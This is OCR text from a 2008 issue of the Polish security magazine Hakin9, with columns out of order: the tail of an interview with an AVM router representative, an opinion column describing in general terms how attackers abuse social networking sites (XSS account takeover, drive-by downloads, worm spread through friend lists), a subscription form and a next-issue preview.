nacisków na hardwarowe zabeczenia
sieci VoIP?
KK: Zgadzam się z tym stwierdzeniem.
To jest wciąż ten sam temat.
Świadomość pewnych spraw nie
przekłada się na konkretne działania,
więc mądrzy jesteśmy dopiero po
szkodzie. Przede wszystkim należy
rozróżnić sytuację użytkownika
prywatnego od użytkownika w firmie.
Każdy przestój procesu produkcyjnego
(dotyczy to także dostępu do Internetu
oraz telefonii) generuje straty pieniężne.
Wiemy o tym, mimo to zdarza się
nam popełniać błędy, które powodują
określone straty.
h9: Czy AVM ma umowę z jakimś
Polskim dostawcą IP-TV na dostarczanie
sprzętu? Czy targetem jest tylko
końcowy użytkownik sprzętu?
KK: Nasze produkty są adresowane do
providerów usług internetowych, którzy
mają w ofercie IP-TV. Na dzień dzisiejszy
nie mamy w Polsce partnera, ale mamy
nadzieję, że wkrótce to się zmieni.
h9: Jak sprawdza się Fritz we
współpracy z profesjonalnym sprzętem
w dużych sieciach opartych np. na
sprzęcie CISCO ?
KK: Z firmą Cisco mamy tak naprawdę
niewiele wspólnego. Wcześniej firma AVM
zajmowała się wprawdzie rozwiązaniami
dla centrali firm, teraz jednak skupiamy
się na użytkownikach końcowych. To, co
jest sprawdzone, to sytuacja, w której
główny oddział firmy jest wyposażony
w router Cisco dla VPN, a w jej filiach
stosuje się routery FRITZ!Box, które
tworzą kanał informacyjny z centralą.
Rozwiązanie takie było już wielokrotnie
stosowane, a poza tym nie ma żadnych
punktów stycznych w zastosowaniu
naszych produktów.
h9: Większość rozwiązań AVM jest
przeznaczona dla małych i średnich
przedsiębiorstw, czy AVM ma w
planie zaatakowac rynek dużych
przedsiębiorstw i instytucji? Jeśli tak to
nad jakimi rozwiązaniami się państwo
zastanawiają?
KK: Na dzień dzisiejszy nie ma takich
planów. AVM jest producentem
routerów i chce ruszyć na podbój rynku
poszerzając swoją ofertę o produkty
Value Add, które będą przetwarzać treści
multimedialne. Ale to dopiero projekt na
przyszłość.
h9: Jak Pan przewiduje rozwój nowych
technologii łączności bezprzewodowej
oraz przyszłość technologii Voip?
KK: Kwestia ta jest rozwojowa. Produkty
VoIP, stworzone na bazie WLAN, są już
dostępne i będą w przyszłości jeszcze
udoskonalane. W obszarze DECT mamy
(jeszcze nie sfinalizowany) standard
CatIQ, który zawiera szerokopasmowy
kodek zapewniający rozmowom
VoIP jakość lepszą nawet od tej, jaką
oferuje telefonia stacjonarna. Nowy
kodek nazywa się G.722 i jest w stanie
całkowicie odtworzyć akustyczne
spektrum ludzkiego głosu. Jest zatem na
co czekać.
h9: Jaka jest strategia marketingowa
na 2008 rok, prognozy sprzedaży oraz
ekspansja na inne rynki?
KK: Od tego roku mamy na pokładzie
nowego dystrybutora (ABC-DATA). Dzięki
temu nasze urządzenia będą łatwiej
dostępne. Dla resellerów będziemy
organizować spotkania, które pozwolą
nam nawiązać lepsze kontakty i zacieśnić
współpracę. W roku 2008 planujemy
wzrost wyników w porównaniu z rokiem
ubiegłym.
h9: Dziękuję za rozmowę
KK: Dziękuję
FELIETON
78
HAKIN9 9/2008
79
HAKIN9
9/2008
Ataki na serwisy
społecznościowe
serwisu – nie tylko go odwiedzająca –
sama w sobie jako zamknięta grupa
oferuje liczne grono potencjalnych
odbiorców złośliwego kodu. Każdy z
użytkowników takowego serwisu
zmuszony jest przecież do przejrzenia
danej treści zanim zostanie ona poddana
jego realnej ocenie. Wyobraźmy sobie
następujący scenariusz: grupa, która
wykryła nową podatność w danym
systemie umieszcza w Internecie
specjalnie spreparowaną stronę o
zawartości dostosowanej do aktualnych
trendów na danym serwisie
społecznościowym. Jest ona na tyle
atrakcyjna pod względem informacyjnym
(np. posiada pewną kontrowersję, która
aktualnie najbardziej przyciąga uwagę
wielu osób), że ma duże szanse zostać
wypromowana na pierwszą stronę owego
serwisu. W jej promocji pomagają konta,
które zostały wcześniej przejęte za
pomocą luk XSS/PHP/SQL wykrytych w
samym serwisie. Przy aktualnym
nafaszerowaniu serwisów skryptami, w
których główny nacisk kładzie się na
funkcjonalność, a dopiero
bezpieczeństwo nie jest to aż tak trudne.
Oprócz standardowej wrażliwości na
ataki typu SQL Injection, Cross-Site
Scripting jakie posiadają standardowe
strony, pozwalają na wykorzystanie
szkodliwego kodu w dodatkowych
sektorach serwisu (np. w profilach
użytkowników). W przeciwieństwie do
phishingu, który opiera się na
socjotechnice stosowanej ataki te
wykorzystują realne luki służące jako
półśrodki do osiągnięcia celu.
Spreparowana strona zawiera w sobie
szkodliwy kod infekujący każdego
odwiedzającego użytkownika, który
spełnia dane wymagania pod względem
posiadanego systemu operacyjnego i
znajdującej się w nim luki; w innym
przypadku nie zostaje podjęta żadna
F
elieton ten postaram się skupić
wokół ataków przeprowadzanych
na same serwisy społecznościowe,
które w tym wypadku są ofiarami, a na
które przeprowadza się coraz więcej
ataków - i to w pełni świadomych. Z
czego wynika owa prawidłowość?
Prawdopodobnie z dwóch powodów. Po
pierwsze: poprzez taki serwis bardzo
łatwo wypromować daną treść, która ma
na celu doprowadzenie użytkowników do
wybranego miejsca w sieci i
przeprowadzenia ukrytego ataku.
Posiadają one również wysoką
popularność i renomę, która znacznie
ułatwia wymuszenie łatwowiernego
zaufania względem publikowanych treści.
Skoro wiele nowych form ataków zostaje
tworzonych w coraz krótszym czasie i
wykorzystuje coraz bardziej wyrafinowane
metody, to bardzo dobrym punktem
startu dla testów nowego „produktu” pod
postacią np. konia trojańskiego lub
wirusa jest liczne grono Internautów, które
zostaje zaatakowane w bardzo krótkim
czasie. Jest to również drugi powód, dla
którego serwisy społecznościowe stają
się coraz częstszymi ofiarami. Oferują
one społeczność połączoną w jedną
spójną sieć pod postacią kontaktów do
innych użytkowników. Społeczność ta
aktywnie uczestnicząca w funkcjonowaniu
W poprzednim felietonie (patrz „Ataki społecznościowe” Hakin9 nr 7/2008 (39)) został
poruszony temat ataków, które wynikają z użytkowania serwisów społecznościowych
opartych na idei Web 2.0. Przedstawiony temat został omówiony ze strony serwisu
jako nieświadomego agresora wykonującego za pomocą swoich użytkowników
przeróżnego rodzaju ataki.
Wszyscy użytkownicy
powinni być świadomi
skali zagrożeń, jakie
czyhają w Internecie.
W szczególności
dotyczy to graczy,
użytkowników serwisów
społecznościowych,
emerytów i nastolatków,
a także ich rodziców
– Bartosz Świderski,
konsultant CA
FELIETON
78
HAKIN9 9/2008
79
HAKIN9
9/2008
akcja, która by mogła zbyt szybko
wzbudzić podejrzenia – czyli propagacja
kodu odbywa się za pomocą list
warunkowych w celu podniesienia
prawdopodobieństwa, że komputer
zostanie zarażony. Strona jest
utrzymywana w technice fast-flux, by
zamaskować źródło jej pochodzenia, a
infekcja odbywa się poprzez atak typu
drive-by download polegający na
pobraniu złośliwego oprogramowania na
lokalny komputer bez wiedzy użytkownika.
Dodatkowo każdy użytkownik będący
aktualnie zalogowany w serwisie
atakowany jest samopowielającym się
kodem, atakującym wszystkie osoby,
które są wymienione na liście znajomych
właściciela danego profilu. W tym
przypadku nie jest wymagana nawet
promocja spreparowanej strony w
serwisie. Wystarczy, że zostanie
umieszczony w serwisie prowadzący do
niej odnośnik, który odwiedzą od jednej
do dwóch osób - oceniające jej
zawartość, a będące podatne na atak; po
czym kod zostanie rozprzestrzeniony we
wewnętrznej strukturze drzewa listy
znajomych z czasem ogarniając
wszystkie podatne osoby i wydostając się
na „zewnątrz”. Oczywiście jeśli link do
naszej strony pojawił by się na czołowym
miejscu serwisu społecznościowego to
pole rażenia obejmuje nie tylko
użytkowników serwisu, ale także wszystkie
osoby go odwiedzające. W dodatku
wszelakie wiadomości, które ewentualnie
by zostały użyte do infekcji kolejnych ofiar
mogą zostać napisane w dokładnie
przewidzianym języku ze względu na fakt,
iż serwisy społecznościowe zazwyczaj
tworzone są dla wybranych narodowości
czy grup społecznych operujących
charakterystycznym sposobem
komunikacji. W ten sposób średni czas
infekcji szkodliwym kodem, który aktualnie
trwa cztery dni jest znacznie skracany. Do
przeprowadzenia ataku na użytkowników
serwisu społecznościowych, można
podejść również od strony informacji
udostępnianych przez samą społeczność.
Do tego wystarczy stworzenie automatu
zbierającego informacje, podobnego do
tego jakiego używają spamerzy do
zbierania informacji o adresach e-mail.
Wystarczy przefiltrować system
komentarzy, w których bezmyślnie jeszcze
pozostawiane są adresy IP osób
komentujących daną treść (w celu ich
ewentualnej identyfikacji). Daje to
możliwość stworzenia sporej listy
podlegającej bezpośredniemu atakowi,
mającej na celu zainfekowanie
komputera ofiary. Należy także nie
zapominać o tym, że coraz więcej
serwisów tego typu zaczyna tworzyć
niezależne oprogramowanie dla własnych
platform mające na celu ułatwienie
komunikacji społecznych i obsługę
posiadanych kont, co daje kolejny kanał
dostępowy dla potencjalnych
cyberprzestępców. W naturze
społecznościowych serwisów leży
również swobodna wymiana zasobami
pod postacią różnych plików, których
zawartość należy traktować z bardzo
dużym dystansem, nawet jeśli pochodzą
one od znajomych, których konto przecież
mogło zostać przejęte. Co więcej, serwisy
oparte wyłącznie na idei ułatwienia
kontaktów międzyludzkich borykają się z
coraz większym zjawiskiem spamu.
Zasada działania pozostaje ta sama –
dotrzeć do jak największego grona
odbiorców – i zmusić do wejścia na
stronę wykorzystującą phishing lub
malware. Tylko, że w tym wypadku
zamiast wiadomości e-mail wysyłane są
zaproszenia do dodania do listy
znajomych ze specjalnie przygotowanych
kont. Wielu użytkowników szczycących się
ilością „znajomych” chętnie korzysta z
takich ofert. W dodatku miejscem, z
którego korzystają z serwisów
społecznościowych wychodzi poza krąg
rodzinny – np. praca, co stwarza
dodatkowe zagrożenia dla środowiska, w
którym aktualnie się znajdują. Aktualnie,
wiele z serwisów społecznościowych
zwraca się już w stronę komercjalizacji
dodatkowych usług i produktów, co na
pewno znajdzie swoje skutki w formie
wyłudzeń oraz strat finansowych ze strony
użytkowników, którzy padli ofiarami tego
rodzaju nadużyć. To samo tyczy się utraty
danych osobowych. Należy pamiętać, że
klienci tego rodzaju serwisów muszą
zaadoptować takie same formy
zabezpieczenia jakie stosowane są w
innych przypadkach komunikacji on-line,
wliczając w to nieodpowiadanie na
niechciane wiadomości i nigdy nie
udostępnianie ani wysyłanie danych
osobowych, które mogłyby prowadzić do
kradzieży prawdziwej tożsamości. Wiele
osób zaczynających przygodę z
Internetem od tego rodzaju serwisów nie
jest przygotowana na takie ewentualności.
Niestety w dodatku tego rodzaju serwisy
nie posiadają jeszcze żadnych informacji
o polityce bezpieczeństwa na swoich
stronach. Gdzieniegdzie można spotkać
się jedynie z polityką prywatności, która
ma jedynie zapewnić użytkownika że jego
dane personalne są niby bezpieczne.
Wynikać może to z faktu, iż serwisy po
prostu boją się straty potencjalnych
użytkowników już przy etapie rejestracji.
Zjawisko to można doskonale porównać
z rewolucją jaką wprowadziła bankowość
elektroniczna – na początku banki
również ignorowały tego rodzaju
zdarzenia dopóki ich skala nie osiągnęła
wydźwięku globalnego. Dzisiaj każdy
szanujący się bank posiada szczegółowe
informacje o bezpieczeństwie, prowadzi
biuletyny z praktycznymi wskazówkami
oraz na bieżąco informuje swoich
klientów o wykrytych próbach ataku. To
samo powinno zostać uczynione w
kwestii serwisów społecznościowych,
które można porównać do uli czekających
na przylot szerszeni. Tam gdzie skupiają
się użytkownicy, tam podążają
cyberprzestępcy. Są one po prostu
kolejną, nową formą dystrybucji informacji
nie tylko dla „mieszkających” w nich
społeczności, ale również dla ludzi
traktujących Internet jako wielkie pole do
nadużyć i czerpania z tego własnych
korzyści.
Patryk Krawaczyński jest studentem Informacji Naukowej
na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych
chwilach stara się prowadzić serwis na temat administracji
oraz podstawowych mechanizmów bezpieczeństwa systemu
operacyjnego Linux – www.nfsec.pl. Jego zainteresowania
wiążą się także z ogólnymi zjawiskami zachodzącymi w
społeczeństwie, na które oddziałują Technologie Informacyjne.
Kontakt z autorem: agresor@nfsec.pl
Kontakt
1. Telefon
+48 22 427 36 93
+48 22 427 36 79
+48 22 427 36 53
2. Fax
+48 22 244 24 59
2. Online
pren@software.com.pl
3. Adres
Bokserska 1
02-682 Warszawa
Polska
Roczna prenumerata
tylko
219
hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.
,-
Zamówienie prenumeraty
Imię i nazwisko ...............................................................................
Nazwa firmy.....................................................................................
Dokładny adres ..............................................................................
.........................................................................................................
Telefon ............................................................................................
E–mail .............................................................................................
ID kontrahenta ................................................................................
Numer NIP firmy .............................................................................
Fax (wraz z nr kierunkowym) .........................................................
Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: pren@software.com.pl
Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53
Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego www.buyitpress.com.
Prenumerujesz
– zyskujesz
l
oszczędność
pieniędzy
l
szybka dostawa
l
prezenty
l
bezpieczna płatność
ność on–line
Tytuł
Ilość
nume-
rów
Ilość
zama-
wianych
prenume-
rat
Od
numeru
pisma
lub mie-
siąca
Cena
hakin9, jak się obronić
(1 płyta CD)
Miesięcznik o
bezpieczeństwie
i hakingu
11
199*/
219
PLN
□ automatyczne przedłużenie prenumeraty
* cena prenumeraty rocznej dla osób prywatnych
Zadzwoń
+48 22 427 36 93
lub
zamów
mailowo!
82
HAKIN9 9/2008
ZA MIESIĄC
W następnym numerze między innymi:
Numer będzie w sprzedaży
pod koniec września 2008
Aktualne informacje o najbliższym numerze
znajdziesz na naszej stronie www.hakin9.org/pl.
NA CD
hakin9.live bootowalna dystrybucja Linuksa
Mnóstwo narzędzi – niezbędnik hakera
Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach
Dodatkowa dokumentacja
Pełne wersje komercyjnych aplikacji
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
Atak
DLL INJECTION
Współczesne systemy operacyjne pozwalają
uruchomić wiele procesów, z których część
posiada wyższy priorytet niż inne oraz
może korzystać z większej ilości zasobów
komputera. Czy jesteśmy jednak pewni, że nie
da się przejąć kontroli nad tymi procesami
i wykorzystać ich w sposób niezamierzony?
Po przeczytaniu artykuł dowiesz się co
to są zdalne wątki systemu Windows czy
jak wywołać kod w wybranym procesie.
Autor pokazał jak w systemie Windows
wyszukać wybrany proces, oraz jak
zmienić procedurę obsługi komunikatów
wybranego okna.
UWAGA! INTRUZ W SYSTEMIE!
Czy zdarzyło Ci się, że pewnego razu,
bez twojej inwencji, system sygnalizował
wystąpienie błędu spowodowanego brakiem
lub uszkodzeniem pewnych plików? A może
dokumenty, które skrzętnie gromadziłeś na
dysku twardym, nagle zniknęły, lub napisałeś
program, który działał doskonale, a któregoś
dnia po prostu przestał, po czym system
wysyłał do Ciebie irytujące komunikaty o
błędzie? Z pewnością każdemu przytrafiła się
choćby jedna z powyższych sytuacji. Wniosek
jest prosty – Twoje dane są atakowane.
Autor przedstawił jak klasyfikuje się wirusy, co
najczęściej pada ich ofiarą. Przedstawione
zostało także w jaki sposób infekują swoje
cele i w jaki sposób ukrywają swoją
obecność w systemie.
Obrona
BEZPIECZEŃSTWO
WINDOWS SERVER 2008
Najnowszy produkt serwerowy Microsoftu
niesie ze sobą wiele zmian, które
według opinii producenta mają ogromny
wpływ na komfort jego użytkowania jak
i bezpieczeństwo samego systemu.
W niniejszym artykule przyjrzymy się
nieco bardziej pewnym technologiom
zastosowanym przez firmę Microsoft, które
sprawiają, że Windows 2008 jest lepszy
niż jego poprzednik. Autor przedstawił
szczegółową budowę Windows Server
2008, oraz czym jest Network Access
Protection. Dowiecie się jak bezpieczny jest
nowy produkt serwerowy Microsoftu i co na
to się składa.
KRYPTOGRAFICZNE
MOŻLIWOŚCI SYSTEMÓW LINUX
Jedną z gwarancji bezpieczeństwa
ważnych informacji jest stosowanie
zaawansowanych algorytmów
kryptograficznych. Narzędzia w systemach
Linuksowych umożliwiają tego typu
szyfrowanie; pojedynczych plików,
wybranych katalogów czy nawet całych
partycji. Autor pokazał nam metody
zabezpieczenia i szyfrowania poufnych
danych.
ANALIZA DZIAŁANIA
PODEJRZANEGO PROGRAMU
Warto zastanowić się nad
uruchomieniem pobranego z sieci
przypadkowego pliku. Choć nie każdy
niesie ze sobą zagrożenie, łatwo trafić
na złośliwy program wykorzystujący
naszą naiwność. Możemy za nią słono
zapłacić. Zanim więc uruchomimy nieznany
program, spróbujmy przeanalizować jego
działanie.